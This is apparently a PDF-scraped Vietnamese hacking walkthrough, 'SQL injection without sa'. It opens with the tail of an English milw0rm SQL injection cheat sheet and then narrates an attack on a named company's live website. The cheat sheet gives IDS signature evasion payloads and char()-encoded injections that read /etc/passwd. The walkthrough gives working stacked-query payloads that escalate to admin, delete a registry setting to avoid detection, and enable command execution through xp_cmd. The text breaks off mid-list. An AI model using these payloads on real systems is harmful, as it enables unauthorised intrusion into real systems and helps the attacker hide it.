Hôm nay rảnh rỗi , quạ xin trình bày kỹ thuật hack 1 server sử dụng MsSQL mà không cần user hiện tại phải là sa hoặc là dbo .Mục tiêu lần này là một trang Web của 1 công ty dịch vụ bảo v
Trang 1- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE\ORL\WinVNC3\Default',
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP
- ' and 1 in (select cast(x as varchar) from temp)
10.IDS Signature Evasion
Evading ' OR 1=1 Signature
- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3
11.mySQL Input Validation Circumvention using Char()
Inject without quotes (string = "%"):
> ' or username like char(37);
Inject with quotes (string="root"):
> ' union select * from users where login = char(114,111,111,116); load files in unions (string = "/etc/passwd"):
>' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115, 119,100))),1,1,1;
Check for existing files (string = "n.ext"):
>' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,3 9)),1,0)); 12.IDS Signature Evasion using comments
>'/**/OR/**/1/**/=/**/1
>Username:' or 1/*
>Password:*/=1
>UNI/**/ON SEL/**/ECT
>(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
>(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')
Trang 213.Strings without quotes
> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) +
char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)
Greets: kaneda, modem, wildcard, #black and pulltheplug
# milw0rm.com [2006-03-28]
Pip (VNISS)
SQL injection without "sa"
Bài viết này tình cờ tìm lại được trong Yahoo Mail Lâu rồi nên nó đã fix^^ Tham khảo thui!
OK ! Hôm nay rảnh rỗi , quạ xin trình bày kỹ thuật hack 1 server sử dụng MsSQL
mà không cần user hiện tại phải là sa hoặc là dbo Mục tiêu lần này là một trang Web của 1 công ty dịch vụ bảo vệ của Việt Nam là www.dongavn.com.vn
Trong lúc đang xem trang web tình cờ , ngứa tay , quạ thêm vào một dấu ' vào links xem có gì xẩy ra thì bùm :
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003'
-
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string 'tt-98112972003''
/thongtin/xemthongtinct.asp, line 15
-
He he , như vậy là chú này bị sql injection Chúng ta thử thêm một lệnh nữa xem
nó có thể bị hack bởi kỹ thuật mới của quạ ko nhé
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003' and 1=convert(int,@@version) sp_password
Trang 3
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int
/thongtin/xemthongtinct.asp, line 15
Phiên bản nó có vẻ cũ và chưa được fix lỗi!
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user
'SYSTEM'
/thongtin/xemthongtinct.asp, line 15
Wow, nó chạy 1 user thường Vậy ta sẽ dùng cách enable user
BUILTIN\ADMINISTRATORS với password mặc định khi cài Mssql là ko có gì Ok ! Ta thử xem user hiện tại của nó có quyền add thêm user vào bảng user của mssql ko nhé
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';exec sp_executesql N'create view dbo.test as select * from
master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test' sp_password
Sau đó dùng links sau để xem sau khi dùng lệnh để add user guest vào bảng user
đã được chưa nhé !
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003' and 1=convert(int,(select top 1 name from master sysusers where roles=0x01 and
Trang 4name not in('dbo'))) sp_password
Và kết quả là :
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'guest' to a column of data type int
/thongtin/xemthongtinct.asp, line 15
Wow ! Lại ok nữa He he , việc tiếp theo là dùng lệnh để disable nhật ký của máy chủ ! Ta sẽ dùng quyền exec master xp_regdeletevalue có sẵn trong 1 user thường
để delete giá trị trong registry
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';exec master xp_regdeletevalue
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser
vices\Tcpip\Parameters','EnableSecurityFilters' sp_password
Xong rồi , ở query này thì ko cần phải kiểm tra vì nếu nó chạy được thì nó sẽ hiện
ra thông báo lỗi do lệnh query trong file gốc là /thongtin/xemthongtinct.asp bị sai
Server.MapPath(), ASP 0173 (0x80004005)
An invalid character was specified in the Path parameter for the MapPath method /thongtin/xemthongtinct.asp, line 20
Ok ! Tiếp theo ta sẽ enable user BUILTIN\ADMINISTRATORS Việc này sẽ ko
bị phát hiện do ta đã disable nhật ký !
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';exec sp_executesql N'create view dbo.test as select * from
master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01
Trang 5where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test' sp_password
Và lại là báo lỗi hiện ra ! Ko sao cả báo lỗi lại càng hay ! Nó có nghĩa là câu lệnh
đã thực hiện xong !
Server.MapPath(), ASP 0173 (0x80004005)
An invalid character was specified in the Path parameter for the MapPath method /thongtin/xemthongtinct.asp, line 20
Tiếp theo ta sẽ dùng chính user BUILTIN\ADMINISTRATORS vừa rồi để shell lệnh trong windows , nhưng trước đó ta lại ko biết rằng Admin của Server này đã disable quyền shell của các user có quyền admin chưa nên chắc ăn nhất là ta dùng
1 lệnh để enable nó lại Để chạy lệnh này ta cần biết tên của server cần chạy Ok , muốn biết cũng được , ko vấn đề gì
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003' and 1=convert(int,@@servername) sp_password
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'SERVER' to a column of data type int
/thongtin/xemthongtinct.asp, line 15
He he he , ngộ quá họ đặt tên server là SERVER Bó tay ! Tiếp theo là enable shell
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';select * from openrowset('sqloledb',
'server=SERVER;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1
Trang 6exec master sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override') sp_password
Trong đó thì cái này để enable shell : exec master sp_addextendedproc
xp_cmd,''xpsql70.dll''
Cái này để ghi nhận thay đổi : exec sp_configure ''allow updates'', ''1''
và cái này để khời động này trình mssql : reconfigure with override
Server.MapPath(), ASP 0173 (0x80004005)
An invalid character was specified in the Path parameter for the MapPath method /thongtin/xemthongtinct.asp, line 20
Thể là xong Bây giờ chỉ việc xác định Ip của máy chủ này , vì có thể máy chủ chứa trình mssql lại ko phải là máy chủ chứa Web Để xác định thì có rất nhiều cách , sau đây là một số cách tôi đã tổng hợp được sau khi đã xâm nhập một số Server